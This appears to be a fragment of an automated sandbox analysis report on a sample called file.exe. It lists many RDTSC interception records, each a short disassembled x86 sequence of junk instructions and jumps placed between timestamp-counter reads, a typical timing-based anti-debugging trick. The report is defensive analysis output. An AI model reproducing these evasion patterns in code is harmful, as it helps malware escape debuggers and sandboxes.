Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7465AA second address: 7465CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jnc 00007F402CC7E511h 0x00000010 push ecx 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7465CA second address: 7465D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CACBA second address: 7CACBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CACBE second address: 7CACC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CAF9B second address: 7CAFA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F402CC7E506h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CAFA6 second address: 7CAFAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CAFAD second address: 7CAFB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CAFB8 second address: 7CAFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CB7E6 second address: 7CB826 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CC7E50Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F402CC7E511h 0x0000000f push edi 0x00000010 pop edi 0x00000011 js 00007F402CC7E506h 0x00000017 popad 0x00000018 jp 00007F402CC7E508h 0x0000001e popad 0x0000001f pushad 0x00000020 js 00007F402CC7E50Eh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBC27 second address: 7CBC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBC2F second address: 7CBC44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F402CC7E506h 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBC44 second address: 7CBC48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5F9F second address: 7D5FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5FA4 second address: 7D5FBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CDD4F5Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F402CDD4F56h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4C63 second address: 7D4C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D595E second address: 7D597E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F402CDD4F56h 0x0000000a jmp 00007F402CDD4F62h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D597E second address: 7D599A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 jne 00007F402CC7E506h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F402CC7E50Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D599A second address: 7D59A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5C6A second address: 7D5C70 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7F4B second address: 7D7F5B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F402CDD4F56h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D7F5B second address: 7D7F5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB23D second address: 7DB241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DB241 second address: 7DB277 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F402CC7E508h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F402CC7E50Fh 0x00000013 pushad 0x00000014 jmp 00007F402CC7E516h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DADFA second address: 7DAE06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnl 00007F402CDD4F56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DAE06 second address: 7DAE29 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F402CC7E506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jp 00007F402CC7E513h 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DAF8E second address: 7DAF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DAF92 second address: 7DAFA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F402CC7E50Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E08AF second address: 7E08D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F402CDD4F63h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E08D0 second address: 7E08D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E08D4 second address: 7E08D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E08D8 second address: 7E08F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F402CC7E513h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790954 second address: 79099D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 push ecx 0x00000009 or dword ptr [ebp+122D1911h], eax 0x0000000f pop edx 0x00000010 mov ebx, dword ptr [ebp+12481ACCh] 0x00000016 mov edx, dword ptr [ebp+122D2A0Fh] 0x0000001c add eax, ebx 0x0000001e cld 0x0000001f nop 0x00000020 pushad 0x00000021 jnp 00007F402CDD4F58h 0x00000027 pushad 0x00000028 popad 0x00000029 pushad 0x0000002a jmp 00007F402CDD4F66h 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 popad 0x00000033 push eax 0x00000034 pushad 0x00000035 push ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79099D second address: 7909CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 je 00007F402CC7E508h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e nop 0x0000000f call 00007F402CC7E512h 0x00000014 mov edi, dword ptr [ebp+122D2983h] 0x0000001a pop ecx 0x0000001b push 00000004h 0x0000001d push eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7909CD second address: 7909E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CDD4F5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7909E3 second address: 7909E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0B7E second address: 7E0B89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0B89 second address: 7E0B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E49A1 second address: 7E49A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E49A6 second address: 7E49AB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E42DE second address: 7E42E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E472B second address: 7E4748 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CC7E513h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E4748 second address: 7E474C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7AE4 second address: 7E7AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7AEA second address: 7E7B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F402CDD4F5Eh 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F402CDD4F56h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7C42 second address: 7E7C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7EC7 second address: 7E7ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7ECB second address: 7E7ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E80BC second address: 7E80C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E80C0 second address: 7E80C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E83CA second address: 7E83CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0D7D second address: 7F0D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEEF2 second address: 7EEF0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007F402CDD4F5Bh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEF0B second address: 7EEF0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEF0F second address: 7EEF31 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F402CDD4F56h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F402CDD4F63h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F402CDD4F5Bh 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF07D second address: 7EF0A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CC7E514h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F402CC7E50Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF0A6 second address: 7EF0BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F402CDD4F62h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF3B1 second address: 7EF3DE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F402CC7E506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F402CC7E517h 0x00000011 jmp 00007F402CC7E50Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFC52 second address: 7EFC6F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F402CDD4F67h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFC6F second address: 7EFC9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CC7E50Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F402CC7E508h 0x00000010 jmp 00007F402CC7E50Ch 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push esi 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFF91 second address: 7EFFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F402CDD4F56h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F402CDD4F5Ch 0x00000011 jmp 00007F402CDD4F60h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFFB9 second address: 7EFFBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0798 second address: 7F079C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0A84 second address: 7F0A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2387 second address: 7F238D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752101 second address: 75210D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F402CC7E506h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75210D second address: 752113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA985 second address: 7FA98B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA98B second address: 7FA9B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F402CDD4F66h 0x00000009 popad 0x0000000a jmp 00007F402CDD4F5Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA9B5 second address: 7FA9C8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F402CC7E50Eh 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAB47 second address: 7FAB68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CDD4F68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAE9D second address: 7FAEA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAEA2 second address: 7FAEA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAEA8 second address: 7FAEAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB01D second address: 7FB027 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F402CDD4F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB027 second address: 7FB02F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB02F second address: 7FB033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8035C1 second address: 8035F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F402CC7E50Ah 0x00000009 popad 0x0000000a ja 00007F402CC7E519h 0x00000010 popad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007F402CC7E506h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8035F5 second address: 8035F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80173D second address: 801741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801741 second address: 80174D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007F402CDD4F56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80174D second address: 80175D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F402CC7E512h 0x00000008 jp 00007F402CC7E506h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80188E second address: 801892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801892 second address: 801896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801896 second address: 8018AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edi 0x0000000a jnc 00007F402CDD4F62h 0x00000010 jne 00007F402CDD4F56h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801BAB second address: 801BB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801D31 second address: 801D3B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F402CDD4F56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801D3B second address: 801D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802580 second address: 802584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802584 second address: 80259B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F402CC7E511h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80259B second address: 8025BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jmp 00007F402CDD4F5Dh 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802D57 second address: 802D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802D5D second address: 802D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F402CDD4F56h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F402CDD4F61h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80342F second address: 803440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F402CC7E506h 0x0000000a jg 00007F402CC7E506h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C05E second address: 80C074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F402CDD4F5Fh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80C074 second address: 80C080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 js 00007F402CC7E506h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AF96 second address: 81AF9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81AE87 second address: 81AE8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E052 second address: 81E079 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F402CDD4F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F402CDD4F69h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81E079 second address: 81E0A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CC7E50Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F402CC7E519h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
